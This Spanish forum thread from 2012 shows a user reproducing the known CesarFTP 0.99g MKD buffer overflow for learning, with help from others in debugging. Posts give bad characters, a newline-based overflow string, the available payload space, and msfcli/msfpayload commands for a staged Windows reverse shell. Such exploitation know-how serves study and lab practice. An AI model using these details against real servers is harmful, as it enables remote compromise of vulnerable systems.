Título: Necesito ayuda urgente, buffer overflow. Publicado por: RocKHounD en 27 Febrero 2012, 20:58 pm Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente... :-(
Buffer Overflow en CesarFTP 0.99g Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas. la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit) veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell. he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle. mis dudas son estas: cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload) que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter. como deberia incluir esa parte en el script??. luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano. es posible que la eliminación de badchars rompa la shellcode?? con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja?? Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok. Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo. Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta. Espero que podáis ayudarme, muchas gracias. Código: #!/usr/bin/python Código: ## Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: Ivanchuk en 2 Marzo 2012, 08:34 am Hola RocKHounD,
Has podido solucionar tu problema? Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente... :-( Buffer Overflow en CesarFTP 0.99g Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas. la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit) veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell. he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle. mis dudas son estas: cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload) que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter. como deberia incluir esa parte en el script??. El stager es una shellcode minima que te abre una conexion a la espera de otro payload llamado stage. El payload de calc.exe es autonomo, o sea sin stager, y es por eso que te funciona bien. Si queres incluir en el script los stagers + stages tendrias que ver como msf interactua con el meterpreter. luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano. es posible que la eliminación de badchars rompa la shellcode?? No, supuestamente la shellcode deberia permanecer intacta, codificada pero funcionalmente intacta. con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja?? No Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok. El overflow se produce al introducir muchos __saltos_de_linea__, con cualquier otro caracter no funciona. Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script. Saludos! Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: RocKHounD en 2 Marzo 2012, 14:20 pm Citar Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script. Hola ivanchuk, con msf funciona a la perfección es lo que no comprendo, debe ser tema de la shellcode porque yo creo que el script Python esta bien escrito, he probado otros exploits en otros lenguajes y el efecto es el mismo, no crea nada y se queda como parado, cuando con msf lo lanzo va de lujo. Espero que tengas un hueco para echarme una mano. Cuando extraje los dos stagers de msfpayload los intente incluir en el exploit de esta manera Código: buffer = "MKD " Evidentemente mi invención no funciono Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: RocKHounD en 3 Marzo 2012, 00:03 am Te cuento lo que acabo de investigar...
como no hay manera de hacer funcionar el script, he modificado un poco el modulo ruby de metasploit, cambiado los siguientes valores Código: root@bt:~/Desktop/cesar# msfcli exploit/windows/ftp/cesarftp_mkd RHOST=192.168.11.15 FTPPASS=ftp FTPUSER=ftp E Código: sploit = "\n" * 671 + rand_text_english(3, payload_badchars) Código: sploit = "\n" * 671 + "AAA" y he obtenido el siguiente resultado. Código: 00B0EE40 350A0D2D -..5 #buffer "\n" * 671 Luego por interpretacion propia pienso que: Código: [*] Started reverse handler on 192.168.10.195:4444 # Monta el listening en el 4444 local Que no entiendo... pues basicamente, si yo en BT ejecuto el siguiente comando: Código: root@bt:~/Desktop/cesar# msfpayload windows/shell/reverse_ord_tcp LHOST="192.168.10.195" EXITFUNC=process P Me devuelve dos codigos. Código: # windows/shell/reverse_ord_tcp - 93 bytes (stage 1) Ya mas no alcanzo... si quieres que haga algo lo hago encantado Ivanchuk. Un saludo. Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: RocKHounD en 3 Marzo 2012, 19:03 pm Bueno ya he logrado que funcione, el problema son las badchars que no son las que hay que poner, y luego la longitud del Nopsleed tampoco es la que pone en el modulo.
en metasploit funciona porque la shellcode que usa esta creada para esos badchars, si queremos usar cualquier otra hay que poner bastantes mas badchars para el encoder al igual que los nops. con esta info el que quiera puede solucionarlo :rolleyes: Gracias Ivanchuk por todo, aunque me he adelantado XDD Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: Ivanchuk en 3 Marzo 2012, 23:34 pm Igual es raro, a mi me funciono con tu script sin tocarle nada, solamente el payload. Puse el stager, o sea el primer payload que te tira msfpayload pero encodeado con msfencode, y con msfconsole mande el segundo.
Si uso el payload windows/shell_reverse_tcp, sin stages, no funciona. El servidor me dice "Command overflow". Debe ser por eso el Space=200 en el modulo, el buffer entero tiene espacio limitado imagino, y el shell_reverse_tcp es bastante grande. Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: RocKHounD en 4 Marzo 2012, 00:17 am Olvide comentarte que no quería usar la plataforma msf, msfpayload y encoder si pero no el multi/handler,
Hay un espacio de 339 bytes para alojar la shellcode. He usado una shellcode que encontré por ahí y la encodee filtrando una cadena larga de badchars que vi en una beta del modulo ruby de metasploit la cual no se porque no esta en el modulo residente. También he podido comprobar que el modulo del exploit de msf no funciona siempre, algunas veces rompe la pila, reiniciando el server en el debugger un par de veces volvía a funcionar como es debido. He creado otro hilo en programación Python para añadir la ejecución de netcat al final del script, en este lenguaje soy un iniciado y de momento no tengo soltura Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: polunchis en 12 Abril 2012, 03:30 am Hola RocKHounD, estaba pasando por aqui y me encontre con tu Post,
Hace tiempo a mi tambien me paso lo mismo con este Buffer overflow del Cesar si gustas te puedo ayudar avisame y con gusto te ayudo Saludos Título: Re: Necesito ayuda urgente, buffer overflow. Publicado por: berz3k en 13 Abril 2012, 19:59 pm Sres, a mi funciona de forma correcta el exploit portado y/o nativo en metasploit , espero feedback de vustra parte para trastear con los problemas.
-berz3k. |